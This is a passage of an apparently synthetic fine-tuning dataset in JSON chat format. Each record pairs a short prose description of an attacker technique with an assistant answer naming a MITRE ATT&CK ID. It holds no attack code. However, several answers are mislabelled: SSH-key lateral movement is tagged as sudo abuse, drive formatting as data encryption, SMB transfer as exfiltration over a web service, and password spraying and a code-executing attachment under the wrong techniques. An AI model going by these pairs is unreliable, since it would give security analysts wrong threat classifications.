                "content": "Attackers run a WMI query against 'Win32_ComputerSystem' to retrieve trust information."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor extracts the list of recently opened files from the user's Jump List cache."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set creates a reverse shell that tunnels through a legitimate web application to bypass network egress controls."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor on the infected host sends a request to the system's API to retrieve system locale, time zone, and keyboard layout."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ a custom VPN-like protocol to wrap their C2 traffic in encryption, preventing inspection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved credential theft from a cloud secrets management service by exploiting excessive permissions on a service account."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker obtains a compromised email account to lease a free web‑hosting service for exfiltration staging."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a buffer overflow in a setuid root binary to execute arbitrary code as root."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell's -EncodedCommand flag to run a compressed and encoded command payload."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a tool that floods the network with false LLMNR responses, intercepting authentication attempts and extracting password hashes."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a supply chain component by injecting malicious code into a popular open‑source library."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging OSINT tools to gather information about exposed services and endpoints of a target."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs steganographic techniques to embed a backdoor within a seemingly innocuous JPEG image."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script repeatedly spawns processes until the system runs out of memory, causing a denial of service on the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider queries the domain for service principal names and then attempts to crack the retrieved Kerberos tickets offline."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor executed a subdomain takeover by exploiting an unclaimed DNS record on a cloud service associated with the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The victim receives a QR code in a phishing email; scanning it leads to a website that instructs the user to download and run a ransomware executable."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hijack thread local storage slots to place malicious code inside a legitimate process, enabling persistent injection across thread contexts."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor persists by placing a scrambled password in HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members query a subscription‑based intel service for data on the target's SOC processes and known security gaps."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor adds a new service account to a Google Cloud Platform project via the IAM API for later use."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the Chrome \"Local State\" file to retrieve the master key used for password encryption."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program registers a scheduled task with the trigger 'At log on' to execute a payload each time any user signs in."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data in a hidden folder before exfiltrating it over a previously established C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious add‑on silently grants elevated privileges to the attacker, allowing credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans the file system for configuration files containing hard‑coded credentials and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a malicious update that includes a keylogger using the GetAsyncKeyState API to capture and buffer keystrokes for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker creates a dummy window, injects malicious payload into the extra window memory space of a privileged process, and triggers it via a window message loop."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a remote email account to forward collected documents, effectively staging them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise included extracting LSA stored secrets via the DsGetDcName API to recover service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the victim organization's partner companies, suppliers, and customers to reveal business relationships that could be leveraged for further compromise."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage groups crawl public Instagram stories for geotagged photos of a target’s data center facilities."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script altered the name of a legitimate PowerShell script to \"powershell.exe\" and used it to run malicious commands undetected."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries publicly available passive DNS databases to collect historical DNS records for victim domains, revealing associated IP addresses and subdomains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day in a VPN client to read stored private keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set modifies the browser's trusted certificate list by installing a new root certificate, thereby subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a targeted email campaign containing a malicious link to a spoofed corporate portal, using a spearphishing service to gather credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses HTTP GET requests to exfiltrate data from the compromised host to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers a background process that continuously writes to disk, consuming all available system resources and causing OS denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a legitimate macOS backup tool to copy the user's keychain file and later extract its contents."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a man-in-the-middle technique to intercept and inject packets into an ongoing RDP session, allowing session takeover."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign exfiltrated data by uploading victim files to a malicious AWS S3 bucket using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code overwrites the .plist files on macOS to change launch daemon behaviors."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in the Edge browser's password manager to dump all saved credentials without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the stored SSL certificate files on a web server, enabling man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploitation of SSH keys on a compromised system provides an avenue for lateral movement by allowing an attacker to securely log into other systems that use public key authentication."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploaded a malicious version of a Python package to PyPI, which was later installed via the victim's automated dependency management tool, leading to execution of malicious code on the build server."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits the Windows \"AlwaysInstallElevated\" policy to install malicious software with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a password‑spraying campaign targeting corporate email accounts to identify valid credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a utility that formats all attached external drives without user consent."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the organization's internal LDAP server for group policy objects to understand security settings."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email included a seemingly innocuous spreadsheet attachment that leveraged a zero‑day vulnerability to execute code."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a privilege‑escalation exploit against a Windows service to corrupt security software settings, evading detection mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a custom filtering driver that inspects socket data and redirects HTTP requests to a malicious proxy."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat adjusts the system's power timeout policy via Group Policy to maintain persistence after reboots."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Outlook's custom form functionality, the threat installs a hidden macro that activates on each Outlook startup."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the LSASS process on the DC to capture Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a supply chain attack by injecting malicious code into an open-source library and signing the modified package with a compromised signing authority."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious code inside innocuous PNG images to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group writes a sophisticated ransomware encryptor for future deployment."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary integrates Burp Suite’s scanner to automatically find SQL injection points in the target’s web applications."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised system has a new line in its authorized_keys containing the attacker’s SSH key."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a hardware Trojan inserted during manufacturing to execute code in the pre‑OS environment."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a paid intelligence subscription to identify the security products deployed by the target and their known bypass techniques."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary implants a counterfeit domain controller that automatically receives replication data, including password hashes, from the legitimate DC."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool reads an encrypted payload, decrypts it in memory, and then uses a reflective loader to execute it within the same process."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performed lateral movement by enumerating accessible SMB shares and then using the Microsoft Remote Service (SMB) to execute a reverse shell on a high‑privilege workstation."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the Security Support Provider interface to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes sensitive logs to a hidden folder and then transfers them using SMB to a remote share."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the vDSO's gettimeofday implementation with malicious code to gain code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script sent SMB Tree Connect requests to each host in the network to discover and catalog accessible shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromised an on‑premises email server by exploiting a CVE in the mail transfer agent, then used it to send spam and harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor distributes a fake version of a legitimate VPN client that contains a hidden command‑and‑control module."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised transport agent in the mail flow pipeline to exfiltrate logs and system information to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests secrets from Alibaba Cloud KMS secret store after gaining privileged access to the account."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor altered the file header of a ransomware payload to match that of a standard PDF, causing it to be opened with a PDF reader."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
